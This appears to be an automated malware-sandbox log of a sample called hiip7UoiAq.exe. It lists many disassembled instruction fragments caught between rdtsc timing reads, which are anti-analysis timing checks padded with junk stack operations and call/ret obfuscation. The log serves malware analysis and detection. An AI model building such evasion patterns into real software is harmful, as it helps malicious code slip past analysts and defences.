Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7ED27 second address: E7ED83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6190F124CBh 0x0000000a popad 0x0000000b pop eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007F6190F124C8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 pushad 0x00000027 mov eax, dword ptr [ebp+122D2D17h] 0x0000002d and ecx, 7870E502h 0x00000033 popad 0x00000034 call 00007F6190F124C9h 0x00000039 push eax 0x0000003a pushad 0x0000003b push esi 0x0000003c pop esi 0x0000003d pushad 0x0000003e popad 0x0000003f popad 0x00000040 pop eax 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 push edi 0x00000045 jp 00007F6190F124C6h 0x0000004b pop edi 0x0000004c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7ED83 second address: E7EDB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29213h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jmp 00007F6190F2920Fh 0x00000012 mov eax, dword ptr [eax] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7EDB5 second address: E7EDBF instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6190F124C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7EDBF second address: E7EDCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007F6190F29206h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7EF23 second address: E7EF35 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a jno 00007F6190F124C6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7F05E second address: E7F068 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F6190F29206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7F068 second address: E7F06C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7F135 second address: E7F15A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 js 00007F6190F29206h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jp 00007F6190F29206h 0x00000016 jmp 00007F6190F2920Eh 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7F323 second address: E7F329 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7F8ED second address: E7F8F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7F8F4 second address: E7F906 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007F6190F124C6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7F906 second address: E7F90D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7F973 second address: E7F9A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d cmc 0x0000000e nop 0x0000000f jmp 00007F6190F124D1h 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7F9A5 second address: E7F9B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6190F29206h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7FA92 second address: E7FA97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7FA97 second address: E7FA9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E7FB72 second address: E7FB7E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edi 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E804C0 second address: E804CA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6190F2920Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E83E28 second address: E83E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F124D3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E83E3F second address: E83E43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E83C21 second address: E83C25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E849F5 second address: E849F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E849F9 second address: E84A02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E84A02 second address: E84A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E85470 second address: E85484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnc 00007F6190F124C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E85484 second address: E85489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E867DB second address: E867EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F6190F124C6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E867EF second address: E867F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E86DE8 second address: E86DEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E87E21 second address: E87E49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6190F2920Dh 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F6190F29211h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E87E49 second address: E87E53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6190F124C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E86F83 second address: E86F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E88FF2 second address: E88FFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F6190F124C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E89F9A second address: E89F9F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E89F9F second address: E8A001 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6190F124D1h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f adc ebx, 0EC5A796h 0x00000015 ja 00007F6190F124C9h 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007F6190F124C8h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov ebx, dword ptr [ebp+122D2D43h] 0x0000003d push 00000000h 0x0000003f mov dword ptr [ebp+122D18A7h], edx 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a je 00007F6190F124C6h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8A001 second address: E8A00B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F6190F29206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E89155 second address: E891D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 nop 0x00000006 sbb bl, 0000000Dh 0x00000009 push dword ptr fs:[00000000h] 0x00000010 pushad 0x00000011 mov di, si 0x00000014 mov ecx, dword ptr [ebp+122D2845h] 0x0000001a popad 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push edx 0x00000025 call 00007F6190F124C8h 0x0000002a pop edx 0x0000002b mov dword ptr [esp+04h], edx 0x0000002f add dword ptr [esp+04h], 00000018h 0x00000037 inc edx 0x00000038 push edx 0x00000039 ret 0x0000003a pop edx 0x0000003b ret 0x0000003c jmp 00007F6190F124D1h 0x00000041 mov eax, dword ptr [ebp+122D0689h] 0x00000047 mov edi, dword ptr [ebp+122D3254h] 0x0000004d movsx edi, ax 0x00000050 push FFFFFFFFh 0x00000052 jmp 00007F6190F124CFh 0x00000057 nop 0x00000058 push eax 0x00000059 push edx 0x0000005a ja 00007F6190F124C8h 0x00000060 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E891D3 second address: E891ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6190F29216h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E891ED second address: E891F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E891F1 second address: E89211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007F6190F29231h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6190F2920Fh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8C056 second address: E8C05B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8C05B second address: E8C061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8C061 second address: E8C065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8C1C6 second address: E8C1D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8C1D0 second address: E8C1D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8C1D4 second address: E8C1D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8C1D8 second address: E8C264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F6190F124D7h 0x0000000d nop 0x0000000e push dword ptr fs:[00000000h] 0x00000015 add dword ptr [ebp+124463A9h], ebx 0x0000001b mov dword ptr fs:[00000000h], esp 0x00000022 push 00000000h 0x00000024 push esi 0x00000025 call 00007F6190F124C8h 0x0000002a pop esi 0x0000002b mov dword ptr [esp+04h], esi 0x0000002f add dword ptr [esp+04h], 00000019h 0x00000037 inc esi 0x00000038 push esi 0x00000039 ret 0x0000003a pop esi 0x0000003b ret 0x0000003c mov eax, dword ptr [ebp+122D0DC9h] 0x00000042 call 00007F6190F124CDh 0x00000047 mov dword ptr [ebp+122D1AEAh], ebx 0x0000004d pop edi 0x0000004e push FFFFFFFFh 0x00000050 or bh, FFFFFFFDh 0x00000053 nop 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F6190F124D5h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8F650 second address: E8F655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8E786 second address: E8E82F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 sbb di, F2CBh 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov dword ptr [ebp+122D3929h], ecx 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007F6190F124C8h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 00000019h 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 xor dword ptr [ebp+122D1AEAh], ebx 0x0000003f jmp 00007F6190F124D5h 0x00000044 mov eax, dword ptr [ebp+122D12B5h] 0x0000004a push 00000000h 0x0000004c push edx 0x0000004d call 00007F6190F124C8h 0x00000052 pop edx 0x00000053 mov dword ptr [esp+04h], edx 0x00000057 add dword ptr [esp+04h], 0000001Ch 0x0000005f inc edx 0x00000060 push edx 0x00000061 ret 0x00000062 pop edx 0x00000063 ret 0x00000064 mov dword ptr [ebp+122D1C24h], eax 0x0000006a push FFFFFFFFh 0x0000006c sub bx, BCD5h 0x00000071 mov bx, 9870h 0x00000075 nop 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F6190F124D0h 0x0000007d rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E905C3 second address: E90620 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 js 00007F6190F29206h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebx 0x00000012 call 00007F6190F29208h 0x00000017 pop ebx 0x00000018 mov dword ptr [esp+04h], ebx 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc ebx 0x00000025 push ebx 0x00000026 ret 0x00000027 pop ebx 0x00000028 ret 0x00000029 movsx edi, si 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edx 0x00000031 call 00007F6190F29208h 0x00000036 pop edx 0x00000037 mov dword ptr [esp+04h], edx 0x0000003b add dword ptr [esp+04h], 00000016h 0x00000043 inc edx 0x00000044 push edx 0x00000045 ret 0x00000046 pop edx 0x00000047 ret 0x00000048 mov ebx, dword ptr [ebp+122D17E7h] 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8F811 second address: E8F815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E90620 second address: E90626 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8F8D2 second address: E8F8D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E8F8D6 second address: E8F8F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F6190F29210h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E91470 second address: E91476 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E92547 second address: E9254B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9254B second address: E9254F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9254F second address: E92555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E92555 second address: E9255C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E90738 second address: E9075F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F29217h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jnc 00007F6190F29206h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9075F second address: E90764 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E90764 second address: E9076E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F6190F29206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9178B second address: E9178F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9178F second address: E91795 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E91795 second address: E9179B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E90834 second address: E9084F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6190F29212h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9084F second address: E90853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E90853 second address: E90857 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E93677 second address: E93680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E94357 second address: E9435C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E93680 second address: E9375F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jmp 00007F6190F124D6h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F6190F124C8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov dword ptr [ebp+122D1A39h], ebx 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov edi, 610DD5EFh 0x00000044 mov ebx, dword ptr [ebp+1244807Eh] 0x0000004a mov eax, dword ptr [ebp+122D0D69h] 0x00000050 jnl 00007F6190F124DCh 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push esi 0x0000005b call 00007F6190F124C8h 0x00000060 pop esi 0x00000061 mov dword ptr [esp+04h], esi 0x00000065 add dword ptr [esp+04h], 00000019h 0x0000006d inc esi 0x0000006e push esi 0x0000006f ret 0x00000070 pop esi 0x00000071 ret 0x00000072 call 00007F6190F124CFh 0x00000077 jmp 00007F6190F124D1h 0x0000007c pop edi 0x0000007d nop 0x0000007e push eax 0x0000007f push edx 0x00000080 push eax 0x00000081 push edx 0x00000082 jc 00007F6190F124C6h 0x00000088 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9435C second address: E943E0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6190F2920Ch 0x00000008 jl 00007F6190F29206h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 jmp 00007F6190F29212h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F6190F29208h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 xor dword ptr [ebp+122D3871h], edx 0x00000038 add dword ptr [ebp+122D37BDh], esi 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push edx 0x00000043 call 00007F6190F29208h 0x00000048 pop edx 0x00000049 mov dword ptr [esp+04h], edx 0x0000004d add dword ptr [esp+04h], 00000018h 0x00000055 inc edx 0x00000056 push edx 0x00000057 ret 0x00000058 pop edx 0x00000059 ret 0x0000005a mov dword ptr [ebp+122D3582h], ecx 0x00000060 push eax 0x00000061 jnp 00007F6190F29210h 0x00000067 pushad 0x00000068 pushad 0x00000069 popad 0x0000006a push eax 0x0000006b push edx 0x0000006c rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9375F second address: E9376D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6190F124CAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9376D second address: E93786 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F6190F29206h 0x00000009 jbe 00007F6190F29206h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E93786 second address: E93790 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F6190F124C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E93790 second address: E93794 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	RDTSC instruction interceptor: First address: E9533A second address: E95340 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
